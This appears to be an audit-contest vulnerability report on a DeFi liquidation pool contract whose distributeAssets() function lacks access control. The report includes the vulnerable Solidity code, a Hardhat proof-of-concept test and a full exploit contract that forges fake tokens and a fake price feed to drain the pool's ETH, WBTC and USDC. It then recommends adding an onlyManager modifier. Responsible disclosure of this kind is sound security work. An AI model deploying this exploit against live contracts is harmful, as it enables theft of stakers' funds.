Submission Details
Severity:
Rewards can be drained because of lack of access control
Summary
The protocol implements a Liquidation Pool to collect the results of Vault Liquidations. The collected assets are shared between the stakers who invested in the pool. However, the function performing the reward distribution can be called by anyone and the rewards can be manipulated by a specially crafted payload, resulting in all rewards being stollen by a malicious actor.
Vulnerability Details
To liquidate a vault the users should call the runLiquidation() function of the LiquidationPoolManager which internally calls the distributeAssets() function of the LiquidationPool. The problem is that we can call the distributeAssets() directly with any payload and a malicious list of Assets.
Here is the affected code:
File: LiquidationPool.sol
205: function distributeAssets(ILiquidationPoolManager.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable {
consolidatePendingStakes();
(,int256 priceEurUsd,,,) = Chainlink.AggregatorV3Interface(eurUsd).latestRoundData();
uint256 stakeTotal = getStakeTotal();
uint256 burnEuros;
uint256 nativePurchased;
for (uint256 j = 0; j < holders.length; j++) {
Position memory _position = positions[holders[j]];
uint256 _positionStake = stake(_position);
if (_positionStake > 0) {
for (uint256 i = 0; i < _assets.length; i++) {
ILiquidationPoolManager.Asset memory asset = _assets[i];
if (asset.amount > 0) {
(,int256 assetPriceUsd,,,) = Chainlink.AggregatorV3Interface(asset.token.clAddr).latestRoundData();
uint256 _portion = asset.amount * _positionStake / stakeTotal;
uint256 costInEuros = _portion * 10 ** (18 - asset.token.dec) * uint256(assetPriceUsd) / uint256(priceEurUsd)
* _hundredPC / _collateralRate;
if (costInEuros > _position.EUROs) {
_portion = _portion * _position.EUROs / costInEuros;
costInEuros = _position.EUROs;
}
_position.EUROs -= costInEuros;
rewards[abi.encodePacked(_position.holder, asset.token.symbol)] += _portion;
burnEuros += costInEuros;
if (asset.token.addr == address(0)) {
nativePurchased += _portion;
} else {
IERC20(asset.token.addr).safeTransferFrom(manager, address(this), _portion);
}
}
}
}
positions[holders[j]] = _position;
}
if (burnEuros > 0) IEUROs(EUROs).burn(address(this), burnEuros);
returnUnpurchasedNative(_assets, nativePurchased);
}
https://github.com/Mylifechangefast/2023-12-the-standard/blob/91132936cb09ef9bf82f38ab1106346e2ad60f91/contracts/LiquidationPool.sol#L205-L241
Impact
An attacker who only invested a tiny amount into the pool can claim 100% of the rewards.
Proof Of Concept
Here is a Hardhat test you can add to test/liquidationPoolManager.js in describe('LiquidationPoolManager'... to demonstrate the exploit:
describe('EXPLOIT', async () => {
it('Exploits Liquidation Pool and get all the rewards', async () => {
const attacker = holder3;
const ethCollateral = ethers.utils.parseEther('0.5');
const wbtcCollateral = BigNumber.from(1_000_000);
const usdcCollateral = BigNumber.from(500_000_000);
// create some funds to be "liquidated"
await holder5.sendTransaction({to: SmartVaultManager.address, value: ethCollateral});
await WBTC.mint(SmartVaultManager.address, wbtcCollateral);
await USDC.mint(SmartVaultManager.address, usdcCollateral);
// holder1 stakes some funds
const tstStake1 = ethers.utils.parseEther('1000');
const eurosStake1 = ethers.utils.parseEther('2000');
await TST.mint(holder1.address, tstStake1);
await EUROs.mint(holder1.address, eurosStake1);
await TST.connect(holder1).approve(LiquidationPool.address, tstStake1);
await EUROs.connect(holder1).approve(LiquidationPool.address, eurosStake1);
await LiquidationPool.connect(holder1).increasePosition(tstStake1, eurosStake1)
// holder2 stakes some funds
const tstStake2 = ethers.utils.parseEther('4000');
const eurosStake2 = ethers.utils.parseEther('3000');
await TST.mint(holder2.address, tstStake2);
await EUROs.mint(holder2.address, eurosStake2);
await TST.connect(holder2).approve(LiquidationPool.address, tstStake2);
await EUROs.connect(holder2).approve(LiquidationPool.address, eurosStake2);
await LiquidationPool.connect(holder2).increasePosition(tstStake2, eurosStake2);
// attacker stakes a tiny bit of funds
const tstStake3 = ethers.utils.parseEther('1');
const eurosStake3 = ethers.utils.parseEther('1');
await TST.mint(attacker.address, tstStake3);
await EUROs.mint(attacker.address, eurosStake3);
await TST.connect(attacker).approve(LiquidationPool.address, tstStake3);
await EUROs.connect(attacker).approve(LiquidationPool.address, eurosStake3);
await LiquidationPool.connect(attacker).increasePosition(tstStake3, eurosStake3);
await fastForward(DAY);
// Some liquidation happens
await expect(LiquidationPoolManager.runLiquidation(TOKEN_ID)).not.to.be.reverted;
// staker 1 has 1000 stake value
// staker 2 has 3000 stake value
// attacker has 1 stake value
// ~25% should go to staker 1, ~75% to staker 2, ~0% should go to attacker
// EPLOIT STARTS HERE
console.log("[Before exploit] Attacker balance:"); // [Before exploit] Attacker balance:
console.log("ETH = %s", await ethers.provider.getBalance(attacker.address)); // ETH = 9999999683015393765405
console.log("WBTC = %s", await WBTC.balanceOf(attacker.address)); // WBTC = 0
console.log("USDC = %s", await USDC.balanceOf(attacker.address)); // USDC = 0
console.log("[Before exploit] LiquidationPool balance:"); // [Before exploit] LiquidationPool balance:
console.log("ETH = %s", await ethers.provider.getBalance(LiquidationPool.address)); // ETH = 499999999999999999
console.log("WBTC = %s", await WBTC.balanceOf(LiquidationPool.address)); // WBTC = 999998
console.log("USDC = %s", await USDC.balanceOf(LiquidationPool.address)); //USDC = 499999998
// First claim to reset the rewards of the attacker and make calculations easier
await LiquidationPool.connect(attacker).claimRewards();
// Deploy exploit contract and execute attack
let ExploitFactory = await ethers.getContractFactory('DistributeAssetsExploit');
let ExploitContract = await ExploitFactory.connect(attacker).deploy(LiquidationPool.address);
await ExploitContract.connect(attacker).exploit(
attacker.address, WBTC.address, USDC.address
);
// Claim inflated rewards to drain the pool
await LiquidationPool.connect(attacker).claimRewards();
console.log("\n\n[After exploit] Attacker balance:"); // [After exploit] Attacker balance:
console.log("ETH = %s", await ethers.provider.getBalance(attacker.address)); // ETH = 10000497924381243468675
console.log("WBTC = %s", await WBTC.balanceOf(attacker.address)); // WBTC = 999997
console.log("USDC = %s", await USDC.balanceOf(attacker.address)); // USDC = 499999997
console.log("[After exploit] LiquidationPool balance:"); // [After exploit] LiquidationPool balance:
console.log("ETH = %s", await ethers.provider.getBalance(LiquidationPool.address)); // ETH = 1
console.log("WBTC = %s", await WBTC.balanceOf(LiquidationPool.address)); // WBTC = 1
console.log("USDC = %s", await USDC.balanceOf(LiquidationPool.address)); //USDC = 1
});
});
Here is the exploit contract:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface ILiquidationPool {
function distributeAssets(DistributeAssetsExploit.Asset[] memory _assets, uint256 _collateralRate, uint256 _hundredPC) external payable;
function holders(uint256) external view returns (address);
function position(address _holder) external view returns(DistributeAssetsExploit.Position memory _position, DistributeAssetsExploit.Reward[] memory _rewards);
}
contract DistributeAssetsExploit {
ILiquidationPool liquidationPool;
struct Reward { bytes32 symbol; uint256 amount; uint8 dec; }
struct Position { address holder; uint256 TST; uint256 EUROs; }
struct Token { bytes32 symbol; address addr; uint8 dec; address clAddr; uint8 clDec; }
struct Asset { Token token; uint256 amount; }
constructor(address _liquidationPool)
{
liquidationPool = ILiquidationPool(_liquidationPool);
}
// This exploits the liquidationPool distributeAssets() function by crafting fake Tokens wrapped in Assets
// that bypasses all the checks and allows to get an inflated reward.
// The calculation of the amountETH, amountWBTC and amountUSDC are calculated to precisely and completely
// drain the pool.
// The values tagged as "foo" could be any value and are not important in the exploit
function exploit(address attacker, address _wbtc, address _usdc) external
{
uint256 stakeTotal = getStakeTotal();
uint256 attackerStake = getOneStake(attacker);
Asset[] memory assets = new Asset[](3);
// Forge fake tokens with token.clAddr and token.addr as address(this)
address clAddr = address(this);
address tokenAddr = address(this);
uint256 ethBalance = address(liquidationPool).balance;
uint256 wbtcBalance = IERC20(_wbtc).balanceOf(address(liquidationPool));
uint256 usdcBalance = IERC20(_usdc).balanceOf(address(liquidationPool));
Token memory tokenETH = Token('ETH', tokenAddr, 0 /*foo*/, clAddr, 0 /*foo*/);
Token memory tokenWBTC = Token('WBTC', tokenAddr, 0 /*foo*/, clAddr, 0 /*foo*/);
Token memory tokenUSDC = Token('USDC', tokenAddr, 0 /*foo*/, clAddr, 0 /*foo*/);
uint256 amountETH = ethBalance * stakeTotal / attackerStake;
uint256 amountWBTC = wbtcBalance * stakeTotal / attackerStake;
uint256 amountUSDC = usdcBalance * stakeTotal / attackerStake;
assets[0] = Asset(tokenETH, amountETH);
assets[1] = Asset(tokenWBTC, amountWBTC);
assets[2] = Asset(tokenUSDC, amountUSDC);
uint256 collateralRate = 1; // foo
uint256 hundredPC = 0; // --> costInEuros will be 0
liquidationPool.distributeAssets(assets, collateralRate, hundredPC);
}
// Fake Chainlink.AggregatorV3Interface
function latestRoundData() external pure returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
)
{
answer = 0; // foo
}
// Simulate ERC20 token to bypass token transfer from manager contract
function transferFrom(address, address, uint256) external pure returns (bool)
{
return true;
}
// Helper functions to compute the precise amount to completely drain the pool
function getStakeTotal() private view returns (uint256 _stakes) {
for (uint256 i = 0; i < 3; i++)
{
_stakes += getOneStake(liquidationPool.holders(i));
}
}
function getOneStake(address holder) private view returns (uint256 _stake)
{
(Position memory _position, ) = liquidationPool.position(holder);
_stake = stake(_position);
}
function stake(Position memory _position) private pure returns (uint256) {
return _position.TST > _position.EUROs ? _position.EUROs : _position.TST;
}
}
Tools Used
Manual review + Hardhat
Recommendations
Add the onlyManager modifier to the distributeAssets() function.
Updates
Lead Judging Commences
hrishibhat almost 2 years ago
Submission Judgement Published Assigned finding tags:
distributeAssets-issue
0xrektified
almost 2 years ago
Mlome
almost 2 years ago
0xrektified
almost 2 years ago
hrishibhat
over 1 year ago
hrishibhat over 1 year ago
Submission Judgement Published Assigned finding tags:
distributeAssets-issue
Prize pool breakdown
Total prize
20,000 USDC
nSLOC
60933 USDC / LOC
17,500 USDC
2,500 USDC
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